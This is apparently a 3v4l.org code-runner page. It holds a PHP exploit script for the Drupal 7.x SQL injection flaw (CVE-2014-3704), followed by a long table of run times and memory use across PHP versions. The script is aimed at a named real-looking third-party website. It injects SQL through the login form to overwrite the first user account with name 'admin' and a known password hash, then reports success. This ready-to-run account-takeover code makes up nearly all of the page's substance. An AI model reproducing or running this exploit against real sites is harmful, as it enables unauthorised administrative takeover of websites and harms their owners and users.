3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://www.jnjbrasil.com.br/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0030.01618.64
8.3.50.0120.01021.18
8.3.40.0070.01419.04
8.3.30.0110.00419.29
8.3.20.0080.00020.54
8.3.10.0000.00823.91
8.3.00.0040.00419.88
8.2.180.0150.00017.25
8.2.170.0090.00922.96
8.2.160.0100.00320.53
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0050.00326.16
8.2.120.0000.00822.54
8.2.110.0060.00319.44
8.2.100.0110.00018.16
8.2.90.0040.00419.43
8.2.80.0000.00817.98
8.2.70.0040.00418.00
8.2.60.0040.00418.28
8.2.50.0030.00618.07
8.2.40.0030.00620.22
8.2.30.0020.00518.22
8.2.20.0020.00518.02
8.2.10.0040.00418.36
8.2.00.0060.00317.89
8.1.280.0090.00925.92
8.1.270.0060.00324.08
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0030.00622.30
8.1.230.0070.00719.24
8.1.220.0040.00417.93
8.1.210.0000.00818.77
8.1.200.0040.00417.35
8.1.190.0090.00017.48
8.1.180.0040.00418.10
8.1.170.0030.00518.68
8.1.160.0040.00422.29
8.1.150.0040.00419.09
8.1.140.0000.00717.58
8.1.130.0000.00719.73
8.1.120.0080.00017.72
8.1.110.0030.00517.56
8.1.100.0040.00417.49
8.1.90.0040.00417.63
8.1.80.0040.00417.59
8.1.70.0000.00717.50
8.1.60.0060.00317.72
8.1.50.0000.00817.61
8.1.40.0000.00817.68
8.1.30.0040.00417.79
8.1.20.0030.00617.64
8.1.10.0030.00517.70
8.1.00.0030.00617.67
8.0.300.0060.00320.34
8.0.290.0030.00617.00
8.0.280.0000.00718.56
8.0.270.0000.00717.50
8.0.260.0040.00417.53
8.0.250.0000.00817.19
8.0.240.0030.00617.21
8.0.230.0000.00717.22
8.0.220.0000.00717.16
8.0.210.0000.00717.27
8.0.200.0030.00317.31
8.0.190.0000.00817.22
8.0.180.0040.00417.15
8.0.170.0030.00517.23
8.0.160.0000.00717.23
8.0.150.0040.00417.07
8.0.140.0000.00817.00
8.0.130.0030.00313.61
8.0.120.0030.00517.34
8.0.110.0080.00017.19
8.0.100.0000.00817.10
8.0.90.0000.00817.17
8.0.80.0080.00917.28
8.0.70.0030.00617.24
8.0.60.0040.00417.27
8.0.50.0040.00417.29
8.0.30.0070.01617.38
8.0.20.0120.00917.52
8.0.10.0050.00317.21
8.0.00.0090.00816.97
7.4.330.0050.00015.02
7.4.320.0060.00016.75
7.4.300.0000.00616.82
7.4.290.0000.00716.66
7.4.280.0040.00416.68
7.4.270.0050.00316.73
7.4.260.0000.00716.62
7.4.250.0000.00716.86
7.4.240.0000.00716.76
7.4.230.0070.00016.59
7.4.220.0040.01416.95
7.4.210.0180.00316.86
7.4.200.0080.00016.66
7.4.160.0040.02116.63
7.4.150.0090.00917.40
7.4.140.0130.00817.86
7.4.130.0100.01116.77
7.4.120.0070.01016.72
7.4.110.0070.01416.82
7.4.100.0130.00616.81
7.4.90.0070.01016.81
7.4.80.0110.00819.39
7.4.70.0060.01216.68
7.4.60.0030.01416.78
7.4.50.0030.00616.73
7.4.40.0100.01616.71
7.4.30.0150.00916.88
7.4.10.0090.00915.29
7.4.00.0080.00815.02
7.3.330.0020.00213.57
7.3.320.0000.00513.70
7.3.310.0040.00416.83
7.3.300.0090.00016.71
7.3.290.0100.00516.68
7.3.280.0100.01016.70
7.3.270.0060.01217.40
7.3.260.0030.01816.87
7.3.250.0120.00516.74
7.3.240.0110.00816.76
7.3.230.0060.02016.87
7.3.210.0040.01516.79
7.3.200.0150.00319.39
7.3.190.0150.00316.61
7.3.180.0140.00316.88
7.3.170.0150.00316.86
7.3.160.0100.00716.70
7.3.130.0000.02015.10
7.3.120.0090.00715.17
7.3.110.0050.01015.13
7.3.100.0100.00715.18
7.3.90.0080.00315.24
7.3.80.0060.00915.39
7.3.70.0030.00915.07
7.3.60.0110.00614.83
7.3.50.0050.01315.07
7.3.40.0130.00415.18
7.3.30.0070.00715.24
7.3.20.0050.00817.05
7.3.10.0080.00716.90
7.3.00.0080.00616.90
7.2.330.0090.00916.75
7.2.320.0090.00916.72
7.2.310.0070.01116.83
7.2.300.0030.02017.11
7.2.290.0130.00916.89
7.2.260.0030.01215.36
7.2.250.0060.01215.26
7.2.240.0050.00715.57
7.2.230.0060.01115.19
7.2.220.0080.00915.27
7.2.210.0080.01015.28
7.2.200.0070.00715.34
7.2.190.0100.00715.22
7.2.180.0060.01115.26
7.2.170.0000.01315.40
7.2.160.0050.01415.32
7.2.150.0030.01117.13
7.2.140.0070.00617.17
7.2.130.0090.00617.18
7.2.120.0030.01317.07
7.2.110.0070.01017.20
7.2.100.0040.01417.15
7.2.90.0050.01217.17
7.2.80.0040.01017.25
7.2.70.0050.01117.22
7.2.60.0080.01017.09
7.2.50.0020.01417.06
7.2.40.0000.01817.20
7.2.30.0020.01417.15
7.2.20.0030.01117.16
7.2.10.0050.00917.21
7.2.00.0060.00817.98
7.1.330.0090.00516.00
7.1.320.0040.01115.80
7.1.310.0070.00715.86
7.1.300.0050.01316.21
7.1.290.0080.00515.97
7.1.280.0030.00816.17
7.1.270.0050.01116.09
7.1.260.0000.01315.98
7.1.250.0090.00516.14
7.1.240.0040.01416.22
7.1.230.0120.00315.73
7.1.220.0060.00916.14
7.1.210.0030.01015.64
7.1.200.0030.00816.00
7.1.190.0090.00616.24
7.1.180.0000.01216.16
7.1.170.0070.00716.22
7.1.160.0120.00315.86
7.1.150.0030.00715.82
7.1.140.0080.00415.73
7.1.130.0000.00816.24
7.1.120.0090.00615.81
7.1.110.0130.00316.09
7.1.100.0030.00917.37
7.1.90.0000.01416.02
7.1.80.0030.01216.13
7.1.70.0080.00816.51
7.1.60.0050.01617.71
7.1.50.0100.01116.70
7.1.40.0100.00616.11
7.1.30.0030.01016.07
7.1.20.0040.00716.05
7.1.10.0030.01216.05
7.1.00.0030.04419.26
7.0.330.0030.00915.45
7.0.320.0060.00915.75
7.0.310.0060.00915.71
7.0.300.0000.00915.75
7.0.290.0000.01515.76
7.0.280.0130.00015.55
7.0.270.0030.00515.72
7.0.260.0040.01115.70
7.0.250.0110.00315.44
7.0.240.0000.01115.90
7.0.230.0080.00415.84
7.0.220.0030.01015.93
7.0.210.0030.01015.76
7.0.200.0880.01315.36
7.0.190.0090.00315.79
7.0.180.0000.01415.63
7.0.170.0000.01315.51
7.0.160.0080.00415.94
7.0.150.0040.01115.70
7.0.140.0000.04519.09
7.0.130.0080.00415.63
7.0.120.0070.00715.63
7.0.110.0230.02018.06
7.0.100.0220.01817.97
7.0.90.0150.02517.99
7.0.80.0040.02417.97
7.0.70.0220.04217.93
7.0.60.0310.02518.15
7.0.50.0050.02518.03
7.0.40.0090.02216.98
7.0.30.0050.02816.82
7.0.20.0050.03016.88
7.0.10.0050.02516.77
7.0.00.0040.02317.00
5.6.400.0030.00914.82
5.6.390.0000.01114.70
5.6.380.0070.00414.84
5.6.370.0030.01114.39
5.6.360.0000.01214.82
5.6.350.0070.00714.60
5.6.340.0040.00814.92
5.6.330.0070.00714.74
5.6.320.0030.01014.18
5.6.310.0030.01014.77
5.6.300.0090.00614.23
5.6.290.0000.01414.73
5.6.280.0030.05118.01
5.6.270.0000.00914.42
5.6.260.0060.02217.83
5.6.250.0030.02617.84
5.6.240.0050.02617.66
5.6.230.0050.02317.81
5.6.220.0070.04117.94
5.6.210.0040.02417.71
5.6.200.0080.03217.77
5.6.190.0070.04217.60
5.6.180.0020.02618.02
5.6.170.0080.01517.79
5.6.160.0030.03217.72
5.6.150.0030.02617.72
5.6.140.0050.03217.63
5.6.130.0050.01917.81
5.6.120.0050.02617.68
5.6.110.0030.02717.59
5.6.100.0060.02417.73
5.6.90.0100.02017.82
5.6.80.0030.02517.19
5.6.70.0020.02917.50
5.6.60.0070.02217.53
5.6.50.0030.02517.39
5.6.40.0050.02317.49
5.6.30.0030.02617.40
5.6.20.0080.02017.36
5.6.10.0080.02517.45
5.6.00.0080.03817.29
5.5.380.0090.01716.03
5.5.370.0050.02316.25
5.5.360.0050.03516.09
5.5.350.0090.02016.39
5.5.340.0080.02516.44
5.5.330.0090.02116.45
5.5.320.0030.02016.55
5.5.310.0050.04016.45
5.5.300.0050.02316.55
5.5.290.0030.02716.52
5.5.280.0020.02916.55
5.5.270.0050.02716.42
5.5.260.0080.02216.35
5.5.250.0050.02416.37
5.5.240.0030.02316.23
5.5.230.0090.02316.15
5.5.220.0060.02315.92
5.5.210.0020.02316.27
5.5.200.0050.02316.25
5.5.190.0050.02416.25
5.5.180.0050.02316.04
5.5.170.0040.01214.37
5.5.160.0050.04515.96
5.5.150.0050.04516.12
5.5.140.0080.04016.03
5.5.130.0040.02816.22
5.5.120.0050.04016.21
5.5.110.0070.04115.94
5.5.100.0110.03615.88
5.5.90.0040.04316.18
5.5.80.0060.03116.20
5.5.70.0130.03715.98
5.5.60.0080.03616.20
5.5.50.0030.04215.86
5.5.40.0110.03615.89
5.5.30.0130.03516.19
5.5.20.0110.03816.06
5.5.10.0100.03716.06
5.5.00.0060.04315.88
5.4.450.0020.02615.64
5.4.440.0020.02415.60
5.4.430.0050.02515.45
5.4.420.0050.02815.54
5.4.410.0050.02515.58
5.4.400.0050.02015.49
5.4.390.0030.02715.48
5.4.380.0070.01815.40
5.4.370.0050.01915.33
5.4.360.0110.02515.52
5.4.350.0060.02115.31
5.4.340.0030.02615.64
5.4.330.0060.00011.37
5.4.320.0060.04515.41
5.4.310.0110.03015.36
5.4.300.0070.02515.47
5.4.290.0050.03115.29
5.4.280.0060.02115.30
5.4.270.0050.04315.54
5.4.260.0050.02815.44
5.4.250.0070.03715.32
5.4.240.0090.03615.39
5.4.230.0080.04115.47
5.4.220.0100.03615.52
5.4.210.0070.03715.32
5.4.200.0080.02915.60
5.4.190.0050.04415.41
5.4.180.0080.04015.58
5.4.170.0050.03815.51
5.4.160.0080.03415.28
5.4.150.0090.03215.51
5.4.140.0070.03714.06
5.4.130.0090.03814.09
5.4.120.0050.03814.15
5.4.110.0100.03014.01
5.4.100.0030.04214.01
5.4.90.0050.04214.13
5.4.80.0020.03914.10
5.4.70.0080.04014.12
5.4.60.0030.04314.13
5.4.50.0060.02614.03
5.4.40.0030.04514.18
5.4.30.0070.02514.21
5.4.20.0070.03614.11
5.4.10.0030.03614.11
5.4.00.0060.03413.83
5.3.290.0030.07714.79
5.3.280.0070.07714.79
5.3.270.0070.07314.80
5.3.260.0070.07314.73
5.3.250.0100.07315.04
5.3.240.0130.06714.79
5.3.230.0030.06314.75
5.3.220.0030.08714.88
5.3.210.0030.07714.79
5.3.200.0130.07014.75
5.3.190.0100.07314.71
5.3.180.0100.06714.81
5.3.170.0100.07315.00
5.3.160.0130.07014.56
5.3.150.0170.06714.85
5.3.140.0170.07014.89
5.3.130.0100.06014.89
5.3.120.0000.05014.84
5.3.110.0030.07314.67
5.3.100.0070.07014.47
5.3.90.0070.05314.36
5.3.80.0130.06314.16
5.3.70.0170.06314.35
5.3.60.0030.05314.35
5.3.50.0030.07714.23
5.3.40.0000.08014.14
5.3.30.0030.06014.13
5.3.20.0030.06713.97
5.3.10.0100.06713.86
5.3.00.0030.06013.78
5.2.170.0070.05711.30
5.2.160.0070.05711.30
5.2.150.0070.05711.27
5.2.140.0030.04011.57
5.2.130.0070.06311.29
5.2.120.0100.05311.09
5.2.110.0000.06311.23
5.2.100.0100.05011.39
5.2.90.0170.05011.21
5.2.80.0070.06011.43
5.2.70.0130.05011.30
5.2.60.0030.06711.19
5.2.50.0030.06711.16
5.2.40.0030.05711.17
5.2.30.0100.05011.19
5.2.20.0030.06311.10
5.2.10.0100.06011.07
5.2.00.0070.05710.93
5.1.60.0000.03710.31
5.1.50.0100.05010.26
5.1.40.0000.05710.19
5.1.30.0100.06310.59
5.1.20.0070.04310.53
5.1.10.0030.05710.47
5.1.00.0030.06010.21
5.0.50.0000.04310.19
5.0.40.0000.02710.19
5.0.30.0030.05710.19
5.0.20.0070.04310.19
5.0.10.0000.04010.19
5.0.00.0000.06010.19
4.4.90.0030.03310.19
4.4.80.0070.02010.19
4.4.70.0070.02310.19
4.4.60.0030.02010.19
4.4.50.0070.01310.19
4.4.40.0030.04310.19
4.4.30.0030.02310.19
4.4.20.0000.02710.19
4.4.10.0070.03310.19
4.4.00.0030.05010.19
4.3.110.0030.03310.19
4.3.100.0100.01710.19
4.3.90.0030.02710.19
4.3.80.0030.05010.19
4.3.70.0000.02710.19
4.3.60.0030.02710.19
4.3.50.0030.03310.19
4.3.40.0030.05310.19
4.3.30.0070.02710.19
4.3.20.0070.03010.19
4.3.10.0030.03310.19
4.3.00.0030.02310.19

preferences:
43.01 ms | 401 KiB | 5 Q